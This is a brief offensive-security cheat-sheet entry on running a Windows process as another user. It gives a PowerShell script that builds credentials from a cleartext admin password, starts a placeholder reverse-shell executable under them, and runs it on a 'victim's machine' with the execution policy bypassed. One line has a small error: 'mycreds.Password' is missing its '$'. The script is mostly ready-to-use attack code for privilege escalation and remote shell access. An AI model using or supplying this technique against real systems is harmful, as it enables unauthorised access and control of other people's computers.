Execute process as another user
+ Execute process as another user (with credentials)
  1. 1.
    Create a ps1 file e.g. run.ps1 with powershell commands as below:
    $secpasswd = ConvertTo-SecureString "<admin_pass_clear_text>" -AsPlainText -Force
    $mycreds = New-Object System.Management.Automation.PSCredential ("<Admin_username>", $secpasswd)
    $computer = "<COMPUTER_NAME>"
    [System.Diagnostics.Process]::Start("C:/users/public/<reverse_shell.exe>","", $mycreds.Username, mycreds.Password, $computer)
  2. 2.
    Upload run.ps1 to victim's machine
  3. 3.
    Execute powershell command:
    powershell -ExecutionPolicy Bypass -File c:\users\public\run.ps1
Copy link